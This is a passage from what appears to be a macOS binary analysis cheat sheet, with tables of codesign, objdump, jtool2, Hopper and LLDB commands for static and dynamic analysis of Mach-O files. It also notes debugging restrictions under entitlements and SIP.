      <td>__DATA</td>
      <td>16384</td>
      <td>Contains mutable data accessed during execution.</td>
    </tr>
    <tr>
      <td>&gt; __data</td>
      <td>32</td>
      <td>Modifiable data used by the program.</td>
    </tr>
    <tr>
      <td>&gt; __common</td>
      <td>176</td>
      <td>Uninitialized data (zero-filled) used for global variables.</td>
    </tr>
    <tr>
      <td>&gt; __bss</td>
      <td>336</td>
      <td>Uninitialized data that does not occupy space in the file (zero-fill).</td>
    </tr>
    <tr>
      <td>__LINKEDIT</td>
      <td>32768</td>
      <td>Contains raw data like symbol tables and string tables for dynamic linking.</td>
    </tr>
  </tbody>
</table>

<h1 id="macos-binary-static-analysis">MacOS Binary Static Analysis</h1>

<h2 id="codesign">Codesign</h2>

<table>
  <thead>
    <tr>
      <th>Command</th>
      <th>Example Usage</th>
      <th>Explanation</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">codesign -d</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">codesign -d /Applications/Automator.app</code></td>
      <td>Displays the code signature of the application. Useful for checking basic signature details without any modifications or verbose details.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">codesign -dv</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">codesign -dv /System/Applications/Automator.app</code></td>
      <td>Displays the code signature with verbose information about the application. It provides more detailed insights into the signed application including platform identifiers and signature sizes.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">codesign -dvv</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">codesign -dvv /System/Applications/Automator.app</code></td>
      <td>Increases the verbosity level further, showing even more detailed information like the authorities under which the app was signed.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">codesign -d --entitlements :-</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">codesign -d --entitlements :- /System/Applications/Automator.app</code></td>
      <td>Displays the entitlements in a human-readable XML format. This is crucial for understanding what permissions the application has on a macOS system.</td>
    </tr>
  </tbody>
</table>

<h2 id="objdump">Objdump</h2>

<table>
  <thead>
    <tr>
      <th>Command</th>
      <th>Example Usage</th>
      <th>Explanation</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">objdump -m</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">objdump -m /path/to/binary</code></td>
      <td>Instructs <code class="language-plaintext highlighter-rouge">objdump</code> to parse the file as a Mach-O file. Use this when you need to analyze Mach-O formatted files specifically.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">objdump --dylibs-used</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">objdump --dylibs-used /path/to/binary</code></td>
      <td>Lists the dynamic libraries (dylibs) that the binary depends on. Useful for understanding external dependencies of an executable or library.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">objdump -h</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">objdump -h /path/to/binary</code></td>
      <td>Displays the headers of the sections of the Mach-O file. Use this to see detailed information about each section in the file, such as its size and address.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">objdump --syms</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">objdump --syms /path/to/binary</code></td>
      <td>Displays the symbol table of the binary. This is useful for seeing all the symbols used in the file, including functions and variables, which can help with debugging and reverse engineering efforts.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">objdump --disassemble</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">objdump --disassemble /path/to/binary</code></td>
      <td>Disassembles the executable sections of the binary. Use this command when you need to analyze the assembly code within the binary for a deeper understanding of its operation.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">objdump --full-contents</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">objdump --full-contents /path/to/section</code></td>
      <td>Dumps the raw contents of specified sections. This is particularly useful when you need to inspect the actual data or code within a section of the binary.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">objdump --section-headers</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">objdump --section-headers /path/to/binary</code></td>
      <td>Displays information about the header of each section in the binary. Useful for a quick overview of the section layout and characteristics.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">objdump --disassemble-functions=function_name --x86-asm-syntax=intel/att</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">objdump --disassemble-functions=_main --x86-asm-syntax=intel/att /path/to/binary</code></td>
      <td>Disassembles a specific function within the binary. Useful when focusing on particular pieces of code for detailed analysis or debugging.</td>
    </tr>
  </tbody>
</table>

<h2 id="jtool2">Jtool2</h2>

<table>
  <thead>
    <tr>
      <th>Command</th>
      <th>Example Usage</th>
      <th>Explanation</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">jtool2 -l</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">jtool2 -l /path/to/binary</code></td>
      <td>Lists all load commands and section details of a Mach-O file. Useful for getting a quick overview of the binary’s structure and contents.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">jtool2 -L</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">jtool2 -L /path/to/binary</code></td>
      <td>Displays the dynamic libraries (dylibs) that the binary links against. Essential for understanding external dependencies.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">jtool2 -S</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">jtool2 -S /path/to/binary</code></td>
      <td>Shows the symbol table of the binary, including both local and external symbols. Valuable for debugging and reverse engineering.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">jtool2 -v</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">jtool2 -v /path/to/binary</code></td>
      <td>Provides verbose output for the given file, including detailed information on the binary’s headers, load commands, and more.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">ARCH=arch jtool2 --sig</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">ARCH=x86_64 jtool2 --sig /path/to/binary</code></td>
      <td>Displays the code signature information, including certificate details, hashes, and more. Useful for security analysis.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">jtool2 --ent</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">jtool2 --ent /path/to/binary</code></td>
      <td>Outputs the entitlements used by the binary in XML format. Crucial for assessing the permissions granted to the application.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">jtool2 -d</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">jtool2 -d /path/to/binary</code></td>
      <td>Dumps disassembled code from the binary. Note that this is primarily intended for ARM binaries and might not fully support other formats.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">jtool2 --objc</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">jtool2 --objc /path/to/binary</code></td>
      <td>Analyzes and outputs Objective-C runtime information, such as classes, methods, and protocols.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">jtool2 --analyze</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">jtool2 --analyze /path/to/binary</code></td>
      <td>Performs an in-depth analysis of the binary, providing insights into potential vulnerabilities or unusual patterns in the code.</td>
    </tr>
  </tbody>
</table>

<h2 id="hopper">Hopper</h2>

<h3 id="lables">Lables</h3>

<p><img width="261" height="332" alt="image" src="https://github.com/user-attachments/assets/fa6b7adc-44ab-414a-8a1d-fec7b1b95b70" /></p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">Address</code>: This is the hexadecimal address of the label within the binary’s memory space. It points to where the label, which can be a function, a variable, or a marker, is located in the disassembled code.</li>
  <li><code class="language-plaintext highlighter-rouge">Type</code>: Indicates the nature of the label. Common types include:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">S</code> (Symbol) for named points in the code which could represent functions or markers placed by the compiler or the disassembler.</li>
      <li><code class="language-plaintext highlighter-rouge">A</code> (Array) denoting the beginning of an array data structure.</li>
      <li><code class="language-plaintext highlighter-rouge">P</code> (Procedure) representing the start of a procedure or function.</li>
      <li><code class="language-plaintext highlighter-rouge">D</code> (Data) for locations that are marked to hold data rather than executable code.</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">Name</code>: This is the name assigned to the label. It could be a name given by the programmer, or it could be a name generated by Hopper based on the label’s usage or content. For example:
<code class="language-plaintext highlighter-rouge">__mh_execute_header</code> typically marks the start of the <code class="language-plaintext highlighter-rouge">Mach-O</code> header in <code class="language-plaintext highlighter-rouge">macOS</code> executables.
<code class="language-plaintext highlighter-rouge">_main</code> is the name conventionally given to the starting point of a C or C++ program.
<code class="language-plaintext highlighter-rouge">printf</code> and <code class="language-plaintext highlighter-rouge">dyld_stub_binder</code> suggest imported functions used for printing to the console and dynamic linking, respectively.</li>
</ul>

<h3 id="functions">Functions</h3>

<p><img width="259" height="175" alt="image" src="https://github.com/user-attachments/assets/fc7e68af-ddbc-441e-8fee-d1ae3132fce9" /></p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">Idx</code> (Index): This is a sequential number assigned to each procedure for easy reference. It typically starts from 0 and increments by 1 for each procedure discovered in the binary.</li>
  <li><code class="language-plaintext highlighter-rouge">Name</code>: The name of the procedure, which can be the one assigned by the programmer or inferred from debugging symbols or imports within the binary. In this case, you have _main, which is typically the entry point for C programs, and printf, a standard C library function for printing formatted output to the console.</li>
  <li><code class="language-plaintext highlighter-rouge">Block</code>: Indicates the basic block count within the procedure. A basic block is a straight-line code sequence with no branches in except to the entry and no branches out except at the exit. In the provided image, both _main and printf are part of one basic block.</li>
  <li><code class="language-plaintext highlighter-rouge">Size</code>: Represents the size of the procedure in bytes. This tells you how much space the compiled machine code for this procedure occupies. _main is 28 bytes, while printf is 6 bytes.</li>
</ul>

<h3 id="strings">Strings</h3>

<ul>
  <li>Readabble Strings extracted from the binary</li>
</ul>

<h3 id="disassembly-view">Disassembly view</h3>

<p><img width="753" height="715" alt="image" src="https://github.com/user-attachments/assets/27812146-ba3a-431f-b45a-afa767fb5d56" /></p>

<h3 id="graphical-view">Graphical View</h3>

<p><img width="662" height="582" alt="image" src="https://github.com/user-attachments/assets/6b5a9c0f-209f-4c35-b254-ab69ab2ad72d" /></p>

<h3 id="decompiling">Decompiling</h3>

<p><img width="743" height="195" alt="image" src="https://github.com/user-attachments/assets/2269ee76-598b-439a-b881-34db98b573d0" /></p>

<h3 id="hex-view">Hex view</h3>

<p><img width="739" height="714" alt="image" src="https://github.com/user-attachments/assets/8918bd6d-f833-4a67-91f1-8e9cc4e78801" /></p>

<h3 id="external-functions-resolution">External functions Resolution</h3>

<ul>
  <li>
    <p>External function <code class="language-plaintext highlighter-rouge">printf</code>
<img width="395" height="22" alt="image" src="https://github.com/user-attachments/assets/e0876769-c234-435b-aa92-7110ee49c9f7" /></p>
  </li>
  <li>
    <p>Double clicking on <code class="language-plaintext highlighter-rouge">imp___stubs__printf</code> take us to the pointer:
<img width="422" height="58" alt="image" src="https://github.com/user-attachments/assets/21873be2-e260-4907-b307-d853207e6613" /></p>
  </li>
  <li>
    <p>Double cliuck on <code class="language-plaintext highlighter-rouge">-printf_ptr</code> take us to the <code class="language-plaintext highlighter-rouge">__la_symbol_ptr</code> section, which contains a list of external pointers.
<img width="412" height="131" alt="image" src="https://github.com/user-attachments/assets/5fa6da72-0ce7-4603-9993-afcacfe5c774" /></p>
  </li>
</ul>

<p>And here where dynamic loader (<code class="language-plaintext highlighter-rouge">dyld</code>) will populate the address of the external function.</p>

<h3 id="useful-table-for-static-analysis-with-hopper">Useful table for static analysis with hopper</h3>

<table>
  <thead>
    <tr>
      <th>Feature</th>
      <th>Menu Path</th>
      <th>Shortcut</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>New</strong></td>
      <td>File &gt; New</td>
      <td>Cmd + N</td>
      <td>Creates a new file/workspace in Hopper.</td>
    </tr>
    <tr>
      <td><strong>Open</strong></td>
      <td>File &gt; Open…</td>
      <td>Cmd + O</td>
      <td>Opens an existing file for disassembling.</td>
    </tr>
    <tr>
      <td><strong>Open Recent</strong></td>
      <td>File &gt; Open Recent</td>
      <td> </td>
      <td>Provides a submenu to open recently accessed files.</td>
    </tr>
    <tr>
      <td><strong>Save</strong></td>
      <td>File &gt; Save</td>
      <td>Cmd + S</td>
      <td>Saves the current state of the workspace.</td>
    </tr>
    <tr>
      <td><strong>Save As…</strong></td>
      <td>File &gt; Save As…</td>
      <td>Shift + Cmd + S</td>
      <td>Saves the current workspace as a new file.</td>
    </tr>
    <tr>
      <td><strong>Import Types…</strong></td>
      <td>File &gt; Import Types…</td>
      <td> </td>
      <td>Imports type declarations from another file.</td>
    </tr>
    <tr>
      <td><strong>Export Types…</strong></td>
      <td>File &gt; Export Types…</td>
      <td> </td>
      <td>Exports type declarations to a file.</td>
    </tr>
    <tr>
      <td><strong>Import Types from C-like Header File…</strong></td>
      <td>File &gt; Import Types from C-like Header File…</td>
      <td> </td>
      <td>Imports types from a C-like header file to use in disassembly annotations.</td>
    </tr>
    <tr>
      <td><strong>Export Objective-C Header File…</strong></td>
      <td>File &gt; Export Objective-C Header File…</td>
      <td> </td>
      <td>Exports an Objective-C header file based on the classes and methods detected in the binary.</td>
    </tr>
    <tr>
      <td><strong>Produce Assembly Text File…</strong></td>
      <td>File &gt; Produce Assembly Text File…</td>
      <td> </td>
      <td>Generates an assembly listing of the entire binary or selected portion to a text file.</td>
    </tr>
    <tr>
      <td><strong>Produce Assembly For Current Procedure…</strong></td>
      <td>File &gt; Produce Assembly For Current Procedure…</td>
      <td> </td>
      <td>Outputs the assembly code for the currently selected procedure to a text file.</td>
    </tr>
    <tr>
      <td><strong>Produce Pseudo-Code File For Current Procedure…</strong></td>
      <td>File &gt; Produce Pseudo-Code File For Current Procedure…</td>
      <td> </td>
      <td>Generates pseudo-code for the current procedure and exports it to a file.</td>
    </tr>
    <tr>
      <td><strong>Read Executable to Disassemble…</strong></td>
      <td>File &gt; Read Executable to Disassemble…</td>
      <td>Shift + Cmd + O</td>
      <td>Opens a dialog to select an executable file specifically for disassembly.</td>
    </tr>
    <tr>
      <td><strong>Read File From DYLD Cache…</strong></td>
      <td>File &gt; Read File From DYLD Cache…</td>
      <td> </td>
      <td>Allows reading and disassembling of binaries directly from the DYLD shared cache.</td>
    </tr>
    <tr>
      <td><strong>Copy</strong></td>
      <td>Edit &gt; Copy</td>
      <td>Cmd + C</td>
      <td>Copies the selected content to the clipboard.</td>
    </tr>
    <tr>
      <td><strong>Copy Hex String of Selected Bytes</strong></td>
      <td>Edit &gt; Copy Hex String of Selected Bytes</td>
      <td>Cmd + Shift + C</td>
      <td>Copies the selected bytes as a hexadecimal string to the clipboard.</td>
    </tr>
    <tr>
      <td><strong>Select All</strong></td>
      <td>Edit &gt; Select All</td>
      <td>Cmd + A</td>
      <td>Selects all content in the current context or field.</td>
    </tr>
    <tr>
      <td><strong>Select Procedure</strong></td>
      <td>Edit &gt; Select Procedure</td>
      <td>Cmd + Shift + A</td>
      <td>Selects the entire procedure (function) that the cursor is currently in.</td>
    </tr>
    <tr>
      <td><strong>Mark as Code</strong></td>
      <td>Modify &gt; Code &gt; Code</td>
      <td>Cmd + P</td>
      <td>Interprets the selected bytes as executable code.</td>
    </tr>
    <tr>
      <td><strong>Mark as Data Array</strong></td>
      <td>Modify &gt; Data &gt; Array</td>
      <td>Cmd + Shift + D</td>
      <td>Marks the selection as a data array, interpreting the bytes as a series of data elements.</td>
    </tr>
    <tr>
      <td><strong>Mark as NULL-Terminated C String</strong></td>
      <td>Modify &gt; Data &gt; NULL-Terminated C String</td>
      <td>Cmd + Shift + A</td>
      <td>Interprets the selected bytes as a NULL-terminated C string.</td>
    </tr>
    <tr>
      <td><strong>Mark as Unicode String</strong></td>
      <td>Modify &gt; Data &gt; Unicode String</td>
      <td>Cmd + Shift + U</td>
      <td>Marks the selection as a Unicode string, interpreting the bytes as characters in Unicode encoding.</td>
    </tr>
    <tr>
      <td><strong>Assemble Instruction…</strong></td>
      <td>Modify &gt; Assemble Instruction…</td>
      <td>Cmd + Shift + A</td>
      <td>Opens a dialog allowing you to input and compile assembly instructions to replace existing code at the selection.</td>
    </tr>
    <tr>
      <td><strong>Go To Address or Symbol…</strong></td>
      <td>Navigate &gt; Go To Address or Symbol…</td>
      <td>G</td>
      <td>Jumps to the inputted address or symbol within the binary.</td>
    </tr>
    <tr>
      <td><strong>Go To File Offset…</strong></td>
      <td>Navigate &gt; Go To File Offset…</td>
      <td>Shift + G</td>
      <td>Moves to the specified file offset, allowing for precise navigation based on file structure.</td>
    </tr>
    <tr>
      <td><strong>Show Segment List…</strong></td>
      <td>Navigate &gt; Show Segment List…</td>
      <td>Cmd + S</td>
      <td>Displays a list of all segments in the binary.</td>
    </tr>
    <tr>
      <td><strong>Show Section List…</strong></td>
      <td>Navigate &gt; Show Section List…</td>
      <td>Shift + Cmd + S</td>
      <td>Displays a list of all sections in the binary.</td>
    </tr>
    <tr>
      <td><strong>Next Code</strong></td>
      <td>Navigate &gt; Next Code</td>
      <td>Cmd + C</td>
      <td>Jumps to the next chunk of code in the binary.</td>
    </tr>
    <tr>
      <td><strong>Next Data</strong></td>
      <td>Navigate &gt; Next Data</td>
      <td>Cmd + D</td>
      <td>Jumps to the next data section in the binary.</td>
    </tr>
    <tr>
      <td><strong>Next Procedure</strong></td>
      <td>Navigate &gt; Next Procedure</td>
      <td>Cmd + P</td>
      <td>Moves to the next defined procedure or function.</td>
    </tr>
    <tr>
      <td><strong>References To Highlighted Word…</strong></td>
      <td>Navigate &gt; References To Highlighted Word…</td>
      <td>Cmd + R</td>
      <td>Lists all the references to the currently highlighted word in the code.</td>
    </tr>
    <tr>
      <td><strong>Search for Symbol…</strong></td>
      <td>Navigate &gt; Search for Symbol…</td>
      <td>Cmd + F</td>
      <td>Opens a search dialog to quickly find symbols within the binary.</td>
    </tr>
    <tr>
      <td><strong>Show Control Flow Graph</strong></td>
      <td>Window &gt; Show Control Flow Graph</td>
      <td>Space</td>
      <td>Displays the control flow graph for the current procedure.</td>
    </tr>
    <tr>
      <td><strong>Show Pseudo Code of Procedure</strong></td>
      <td>Window &gt; Show Pseudo Code of Procedure</td>
      <td>Cmd + Option + P</td>
      <td>Opens the pseudo code representation of the current procedure.</td>
    </tr>
    <tr>
      <td><strong>Show Hexadecimal Editor</strong></td>
      <td>Window &gt; Show Hexadecimal Editor</td>
      <td>Cmd + Option + H</td>
      <td>Opens the hexadecimal view of the binary.</td>
    </tr>
  </tbody>
</table>

<h1 id="macos-binary-dynamic-analysis">MacOS Binary Dynamic Analysis</h1>
<h2 id="debugging-rules">Debugging Rules</h2>
<p>The rules for debugging applications on macOS;</p>

<ol>
  <li><strong>Debugging Signed Applications with Entitlements</strong>:
    <ul>
      <li>Applications that are signed and have the <code class="language-plaintext highlighter-rouge">com.apple.security.get-task-allow</code> entitlement can be debugged by a standard user. This entitlement specifically allows other processes, like debuggers, to attach to the application. Xcode automatically adds this entitlement to apps when they are built for development.</li>
    </ul>
  </li>
  <li><strong>Applications Protected by SIP</strong>:
    <ul>
      <li>System Integrity Protection (SIP) restricts debugging of system binaries or those signed with hardened runtime unless the target application has the <code class="language-plaintext highlighter-rouge">com.apple.security.get-task-allow</code> entitlement. To debug such applications, the debugger itself must have the <code class="language-plaintext highlighter-rouge">com.apple.security.cs.debugger</code> entitlement.</li>
    </ul>
  </li>
  <li><strong>Debugging Non-Protected Applications</strong>:
    <ul>
      <li>Applications not protected by SIP and without the <code class="language-plaintext highlighter-rouge">com.apple.security.get-task-allow</code> entitlement can still be debugged if the user runs the debugger as root or authenticates as an admin.</li>
    </ul>
  </li>
  <li><strong>Limitations on Debugging System Binaries or Hardened Runtime Applications</strong>:
    <ul>
      <li>You cannot debug system binaries or applications signed with hardened runtime as part of Apple’s notarization requirements, unless they have the <code class="language-plaintext highlighter-rouge">com.apple.security.get-task-allow</code> entitlement.</li>
    </ul>
  </li>
  <li><strong>Notarization</strong>:
    <ul>
      <li>Notarization is an Apple security process for scanning applications for malicious content before distribution. If an app is not notarized, Gatekeeper may block its execution to protect the system.</li>
    </ul>
  </li>
  <li><strong>Disabling SIP</strong>:
    <ul>
      <li>While disabling SIP would technically allow debugging of any application, it is not recommended. SIP provides critical protections beyond just debugging restrictions, including protecting core system files and preventing unsigned kernel extensions from loading. Disabling SIP significantly weakens macOS security.</li>
    </ul>
  </li>
</ol>

<h2 id="lldb">LLDB</h2>

<h3 id="esssentail-start">Esssentail Start</h3>

<table>
  <thead>
    <tr>
      <th>Category</th>
      <th>Name</th>
      <th>Command</th>
      <th>Shortcut</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Essential Start</strong></td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>Open Executable</td>
      <td><code class="language-plaintext highlighter-rouge">target create</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) target create "./executable"</code></td>
      <td> </td>
      <td>Loads a new executable for debugging.</td>
    </tr>
    <tr>
      <td>Attach Process</td>
      <td><code class="language-plaintext highlighter-rouge">process attach</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) process attach --pid &lt;PID&gt;</code></td>
      <td> </td>
      <td>Attaches the debugger to an existing process by PID.</td>
    </tr>
    <tr>
      <td>Stop Debugging</td>
      <td><code class="language-plaintext highlighter-rouge">process kill</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) process kill</code></td>
      <td> </td>
      <td>Terminates the current debugging session.</td>
    </tr>
    <tr>
      <td>Go</td>
      <td><code class="language-plaintext highlighter-rouge">process continue</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) process continue</code></td>
      <td><code class="language-plaintext highlighter-rouge">c</code></td>
      <td>Continues execution after a breakpoint or pause.</td>
    </tr>
    <tr>
      <td>Restart</td>
      <td><code class="language-plaintext highlighter-rouge">process launch</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) process launch --stop-at-entry</code></td>
      <td> </td>
      <td>Restarts the current debugging session and stops at the entry point.</td>
    </tr>
    <tr>
      <td>Step Into</td>
      <td><code class="language-plaintext highlighter-rouge">thread step-in</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) thread step-in</code></td>
      <td><code class="language-plaintext highlighter-rouge">si</code></td>
      <td>Executes one line or instruction at a time, stepping into functions.</td>
    </tr>
    <tr>
      <td>Step Over</td>
      <td><code class="language-plaintext highlighter-rouge">thread step-over</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) thread step-over</code></td>
      <td><code class="language-plaintext highlighter-rouge">ni</code></td>
      <td>Executes the next line or instruction, stepping over function calls.</td>
    </tr>
    <tr>
      <td>Step Out</td>
      <td><code class="language-plaintext highlighter-rouge">thread step-out</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) thread step-out</code></td>
      <td><code class="language-plaintext highlighter-rouge">finish</code></td>
      <td>Continues execution until the current function completes.</td>
    </tr>
    <tr>
      <td><strong>Monitoring &amp; Debugging Windows</strong></td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>Command Interface</td>
      <td><code class="language-plaintext highlighter-rouge">LLDB console</code></td>
      <td>Access through terminal or IDE console</td>
      <td> </td>
      <td>The primary interface for all LLDB commands.</td>
    </tr>
    <tr>
      <td>Watchpoint Set</td>
      <td><code class="language-plaintext highlighter-rouge">watchpoint set</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) watchpoint set variable myVar</code></td>
      <td> </td>
      <td>Sets a watchpoint for a variable to monitor its value changes.</td>
    </tr>
    <tr>
      <td>View Local Variables</td>
      <td><code class="language-plaintext highlighter-rouge">frame variable</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) frame variable</code></td>
      <td> </td>
      <td>Displays local variables in the current frame.</td>
    </tr>
    <tr>
      <td>View Registers</td>
      <td><code class="language-plaintext highlighter-rouge">register read</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) register read</code></td>
      <td> </td>
      <td>Displays the values of CPU registers.</td>
    </tr>
    <tr>
      <td>View Memory</td>
      <td><code class="language-plaintext highlighter-rouge">memory read</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory read &lt;ADDRESS&gt;</code></td>
      <td> </td>
      <td>Allows examination of memory contents.</td>
    </tr>
    <tr>
      <td>View Call Stack</td>
      <td><code class="language-plaintext highlighter-rouge">bt</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) bt</code></td>
      <td> </td>
      <td>Displays the current call stack.</td>
    </tr>
    <tr>
      <td>View Disassembly</td>
      <td><code class="language-plaintext highlighter-rouge">disassemble</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) disassemble --name main</code></td>
      <td> </td>
      <td>Shows disassembled code for a function.</td>
    </tr>
    <tr>
      <td><strong>Advanced Usage &amp; Customization</strong></td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>Python Scripting</td>
      <td><code class="language-plaintext highlighter-rouge">command script</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) command script add -f my_script.my_func my_cmd</code></td>
      <td> </td>
      <td>Adds a custom command using a Python function.</td>
    </tr>
    <tr>
      <td>Aliases &amp; Shortcuts</td>
      <td><code class="language-plaintext highlighter-rouge">command alias</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) command alias b breakpoint set</code></td>
      <td> </td>
      <td>Creates custom aliases for existing commands.</td>
    </tr>
    <tr>
      <td>LLDB Init File</td>
      <td><code class="language-plaintext highlighter-rouge">~/.lldbinit</code></td>
      <td>Include commands in <code class="language-plaintext highlighter-rouge">~/.lldbinit</code></td>
      <td> </td>
      <td>Loads custom LLDB settings and commands on startup.</td>
    </tr>
    <tr>
      <td>Extend LLDB</td>
      <td>Custom Python scripts</td>
      <td>Use <code class="language-plaintext highlighter-rouge">script</code> command to run Python</td>
      <td> </td>
      <td>Write and run Python scripts for complex debugging tasks.</td>
    </tr>
  </tbody>
</table>

<h3 id="symbols">Symbols</h3>

<table>
  <thead>
    <tr>
      <th>Category</th>
      <th>Command/Action</th>
      <th>Description</th>
      <th>Example</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Symbol Configuration</strong></td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>Set Symbol File Path</td>
      <td><code class="language-plaintext highlighter-rouge">target symbols add</code></td>
      <td>Adds a new symbol file to the current target.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) target symbols add /path/to/symbols</code></td>
    </tr>
    <tr>
      <td>Append Symbol Search Path</td>
      <td><code class="language-plaintext highlighter-rouge">settings set target.exec-search-paths</code></td>
      <td>Appends new paths to the symbol search paths.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) settings set target.exec-search-paths /path/to/symbols</code></td>
    </tr>
    <tr>
      <td>Reload Symbols</td>
      <td><code class="language-plaintext highlighter-rouge">target modules reload</code></td>
      <td>Reloads symbol information for a specific module.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) target modules reload --filename libmylib.dylib</code></td>
    </tr>
    <tr>
      <td>List Symbol Search Paths</td>
      <td><code class="language-plaintext highlighter-rouge">settings show target.exec-search-paths</code></td>
      <td>Displays the current symbol search paths.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) settings show target.exec-search-paths</code></td>
    </tr>
    <tr>
      <td>Clear All Symbol Information</td>
      <td><code class="language-plaintext highlighter-rouge">target symbols clear</code></td>
      <td>Clears all symbol information from the current target.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) target symbols clear</code></td>
    </tr>
  </tbody>
</table>

<h3 id="display--manupilating--cpu--memory">Display &amp; Manupilating ( CPU &amp; Memory):</h3>

<table>
  <thead>
    <tr>
      <th>Category</th>
      <th>Command/Action</th>
      <th>Description</th>
      <th>Example</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Memory Examination</strong></td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>Disassemble Memory</td>
      <td><code class="language-plaintext highlighter-rouge">disassemble --start-address</code></td>
      <td>Disassembles code starting from a specified address.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) disassemble --start-address 0x00400000</code></td>
    </tr>
    <tr>
      <td>Read Memory</td>
      <td><code class="language-plaintext highlighter-rouge">memory read</code></td>
      <td>Displays memory content at a specified address.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory read 0x00400000</code></td>
    </tr>
    <tr>
      <td>Write Memory</td>
      <td><code class="language-plaintext highlighter-rouge">memory write</code></td>
      <td>Writes data to a specified memory address.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory write 0x00400000 0x90</code></td>
    </tr>
    <tr>
      <td><strong>Memory Dumping</strong></td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>Dump Memory as Bytes</td>
      <td><code class="language-plaintext highlighter-rouge">memory read --format b</code></td>
      <td>Reads memory content as bytes.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory read --format b 0x00400000</code></td>
    </tr>
    <tr>
      <td>Dump Memory as Words</td>
      <td><code class="language-plaintext highlighter-rouge">memory read --format w</code></td>
      <td>Reads memory content as 16-bit words.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory read --format w 0x00400000</code></td>
    </tr>
    <tr>
